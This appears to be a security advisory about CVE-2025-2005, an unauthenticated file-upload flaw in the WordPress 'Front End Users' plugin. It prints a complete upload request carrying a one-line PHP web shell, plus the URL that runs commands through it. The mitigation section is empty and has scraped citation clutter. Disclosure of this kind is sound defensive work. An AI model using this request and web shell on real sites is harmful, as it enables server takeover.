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CVE-2025-2005: Critical Vulnerability in the WordPress plugin “Front End Users” (FEUP)

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CVE-2025-2005 is a critical vulnerability in the WordPress plugin “Front End Users” (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server.

Vulnerability Summary

Affected Products

Product Affected Versions
Front End Users Plugin ≤ 3.2.32

How the Exploit Works

The vulnerability arises from the plugin’s failure to validate file types during the registration process. An attacker can craft a multipart/form-data POST request to the registration form, including a malicious PHP file. Despite the plugin renaming uploaded files with random hashes, if the server allows PHP execution in the upload directory, the attacker can execute the uploaded script, leading to full system compromise.​GitHub+1GitHub+1GitHub

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:​

POST /register/ HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"

attacker
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"

password123
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"

password123
------WebKitFormBoundary
Content-Disposition: form-data; name="malicious_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

After sending this request, the malicious file would be uploaded to the server, potentially accessible at:​

http:<span class="hljs-comment">//vulnerable-site.com/wp-content/uploads/ewd_feup_uploads/[random_filename].php</span>

The attacker could then execute commands by accessing:​

http://vulnerable-site.com/wp-content/uploads/ewd_feup_uploads/[random_filename].php?cmd=<span class="hljs-built_in">whoami</span>

Potential Risks

  • Remote Code Execution (RCE)​GitHub

  • Full system compromise​

  • Data exfiltration​

  • Website defacement​

  • Malware deployment​

Mitigation Recommendations

Conclusion

CVE-2025-2005 poses a significant threat to WordPress sites using vulnerable versions of the Front End Users plugin. Immediate action is required to patch the vulnerability, implement proper file validation, and ensure server configurations prevent unauthorized code execution.​

References

Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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